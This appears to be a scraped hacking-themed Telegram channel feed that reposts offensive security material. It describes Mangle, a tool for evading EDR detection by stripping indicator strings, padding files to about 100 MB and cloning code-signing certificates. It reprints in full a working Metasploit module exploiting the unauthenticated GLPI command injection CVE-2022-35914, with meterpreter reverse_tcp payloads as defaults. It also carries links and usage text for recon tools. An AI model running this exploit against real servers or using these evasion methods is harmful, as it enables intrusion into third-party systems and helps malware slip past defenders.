Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.8K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Authored By Tyl0us Featured at Source Zero Con 2022 Mangle is a tool that manipulates aspects of compiled executables (.exe or DLL). Mangle can remove known Indicators of Compromise (https://www.kitploit.com/search/label/Indicators%20of%20Compromise) (IoC) based strings and replace them with random characters, change the file by inflating the size to avoid EDRs, and can clone code-signing certs from legitimate files. In doing so, Mangle helps loaders evade on-disk and in-memory scanners.
Contributing Mangle was developed in Golang. Install The first step, as always, is to clone the repo. Before you compile Mangle, you'll need to install the dependencies. To install them, run the following commands: go get github.com/Binject/debug/pe
Then build it go build Mangle.go
Important While Mangle is written in Golang, a lot of the features are designed to work on executable files from other languages. At the time of release, the only feature that is Golang specific is the string manipulation (https://www.kitploit.com/search/label/Manipulation) part. Usage ./mangle -h

_____ .__
/ \ _____ ____ ____ | | ____
/ \ / \\__ \ / \ / ___\| | _/ __ \
/ Y \/ __ \| | \/ /_/ > |_\ ___/
\____|__ (____ /___| /\___ /|____/\___ >
\/ \/ \//_____/ \/
(@Tyl0us)
Usage of ./Mangle:
-C string
Path to the file containing the certificate you want to clone
-I string
Path to the orginal file
-M Edit the PE file to strip out Go indicators
-O string
The new file name
-S int
How many MBs to increase the file by

Strings Mangle takes the input executable and looks for known strings that security products look for or alert on. These strings alone are not the sole point of detection. Often, these strings are in conjunction with other data points and pieces of telemetry (https://www.kitploit.com/search/label/Telemetry) for detection and prevention. Mangle finds these known strings and replaces the hex values with random ones to remove them. IMPORTANT: Mangle replaces the exact size of the strings it’s manipulating. It doesn’t add any more or any less, as this would create misalignments and instabilities in the file. Mangle does this using the -M command-line option. Currently, Mangle only does Golang files but as time goes on other languages will be added. If you know of any for other languages, please open an issue ticket and submit them. Before

___________________________
@hacking_Attack
@Hacking_Video
After

___________________________
@hacking_Attack
@Hacking_Video
Inflate Pretty much all EDRs can’t scan both on disk or in memory files beyond a certain size. This simply stems from the fact that large files take longer to review, scan, or monitor. EDRs do not want to impact performance (https://www.kitploit.com/search/label/Performance) by slowing down the user's productivity. Mangle inflates files by creating a padding of Null bytes (Zeros) at the end of the file. This ensures that nothing inside the file is impacted. To inflate an executable, use the -S command-line option along with the number of bytes you want to add to the file. Large payloads are really not an issue anymore with how fast Internet speeds are, that being said, it's not recommended to make a 2 gig file. Based on test cases across numerous userland and kernel EDRs, it is recommended to increase the size by either 95-100 megabytes. Because vendors do not check large files, the activity goes unnoticed, resulting in the successful execution of shellcode. Example:

___________________________
@hacking_Attack
@Hacking_Video
Certificate Mangle also contains the ability to take the full chain and all attributes from a legitimate code-signing certificate from a file and copy it onto another file. This includes the signing date, counter signatures, and other measurable attributes. While this feature may sound similar to another tool I developed, Limelighter (https://github.com/Tylous/Limelighter), the major difference between the two is that Limelighter (https://www.kitploit.com/search/label/Limelighter) makes a fake certificate based off a domain and signs it with the current date and time, versus using valid attributes where the timestamp is taken from when the original file. This option can use DLL or .exe files to copy using the -C command-line option, along with the path to the file you want to copy the certificate from.

___________________________
@hacking_Attack
@Hacking_Video
Hi! My name is Hashar Mujahid, and today we will continue to discuss what HTTP request smuggling vulnerabilities are and how we can…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/http-request-smuggling-explained-and-exploited-part-0x3-b61623287603?source=rss------bug_bounty-5)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
GLPI 10.0.2 Command Injection

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.

SHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efbDownload ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GLPI htmLawed php command injection',
'Description' => %q{
This exploit takes advantage of a unauthenticated php command injection available
from GLPI versions 10.0.2 and below to execute a command.
},
'License' => MSF_LICENSE,
'Author' => [
'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc
'bwatters-r7' # module
],
'References' => [
['CVE', '2022-35914' ],
['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_CMD],
'CmdStagerFlavor' => [ 'printf' ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
},
'Type' => :linux_dropper
}
],
],
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
end

def populate_values
uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'connection' => 'keep-alive',
'accept' => '*/*'
})
@html = res.get_html_document
@token = @html.at_xpath('//input[@id="token"]')['value']
vprint_status("token = #{@token}")

# sometimes I got > 1 sid. We must use the last one.
@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]
vprint_status("sid = #{@sid}")
rescue NoMethodError => e
elog('Failed to retrieve token or sid', error: e)
end
end

def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end

def check
populate_values if @html_doc.nil?
if @token.nil? || @sid.nil? || @html.nil?
return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
end
return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')

return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

end
Source:packetstormsecurity.com
Offensive Security Methodology Repo
https://www.reddit.com/r/redteamsec/comments/yd48xv/offensive_security_methodology_repo/

<!-- SC_OFF -->Hello repo under creation containing testing methodology and techniques for wireless, internal, external engagement and others cool stuff to share ;) https://github.com/lutzenfried/Methodology <!-- SC_ON --> submitted by /u/lutzenfried (https://www.reddit.com/user/lutzenfried)
[link] (https://www.reddit.com/r/redteamsec/comments/yd48xv/offensive_security_methodology_repo/) [comments] (https://www.reddit.com/r/redteamsec/comments/yd48xv/offensive_security_methodology_repo/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
xnLinkFinder : A Python Tool Used To Discover Endpoints And Potential Parameters

xnLinkFinder is a tool used to discover endpoints (and potential parameters) for a given target. It can find them by:

* crawling a target (pass a domain/URL)
* crawling multiple targets (pass a file of domains/URLs)
* searching files in a given directory (pass a directory name)
* get them from a Burp project (pass location of a Burp XML file)
* get them from an OWASP ZAP project (pass location of a ZAP ASCII message file)
* processing a waymore results directory (searching archived response files from waymore -mode Rand also requesting URLs from waymore.txtand the original URLs from index.txt– see waymore README.md)

The python script is based on the link finding capabilities of my Burp extension GAP. As a starting point, I took the amazing tool LinkFinder by Gerben Javado, and used the Regex for finding links, but with additional improvements to find even more. InstallationxnLinkFinder supports Python 3.
$ git clone https://github.com/xnl-h4ck3r/xnLinkFinder.git
$ cd xnLinkFinder
$ sudo python setup.py install UsageArgLong ArgDescription-i–inputInput a: URL, text file of URLs, a Directory of files to search, a Burp XML output file or an OWASP ZAP output file.-o–outputThe file to save the Links output to, including path if necessary (default: output.txt). If set to clithen output is only written to STDOUT. If the file already exist it will just be appended to (and de-duplicated) unless option -owis passed.-op–output-paramsThe file to save the Potential Parameters output to, including path if necessary (default: parameters.txt). If set to clithen output is only written to STDOUT (but not piped to another program). If the file already exist it will just be appended to (and de-duplicated) unless option -owis passed.-ow–output-overwriteIf the output file already exists, it will be overwritten instead of being appended to.-sp–scope-prefixAny links found starting with /will be prefixed with scope domains in the output instead of the original link. If the passed value is a valid file name, that file will be used, otherwise the string literal will be used.-spo–scope-prefix-originalIf argument -spis passed, then this determines whether the original link starting with /is also included in the output (default: false)-sf–scope-filterWill filter output links to only include them if the domain of the link is in the scope specified. If the passed value is a valid file name, that file will be used, otherwise the string literal will be used.-c–cookies †Add cookies to pass with HTTP requests. Pass in the format 'name1=value1; name2=value2;'-H–headers †Add custom headers to pass with HTTP requests. Pass in the format 'Header1: value1; Header2: value2;'-ra–regex-afterRegEx for filtering purposes against found endpoints before output (e.g. /api/v[0-9]\.[0-9]\*). If it matches, the link is output.-d–depth †The level of depth to search. For example, if a value of 2 is passed, then all links initially found will then be searched for more links (default: 1). This option is ignored for Burp files because they can be huge and consume lots of memory. It is also advisable to use the -sp(--scope-prefix) argument to ensure a request to links found without a domain can be attempted.-p–processes †Basic multithreading is done when getting requests for a URL, or file of URLs (not a Burp file). This argument determines the number of processes (threads) used (default: 25)-x–excludeAdditional Link exclusions (to the list in config.yml) in a comma separated list, e.g. careers,forum-orig–originWhether you want the origin of the link to be in the output. Displayed as LINK-URL [ORIGIN-URL]in th[...]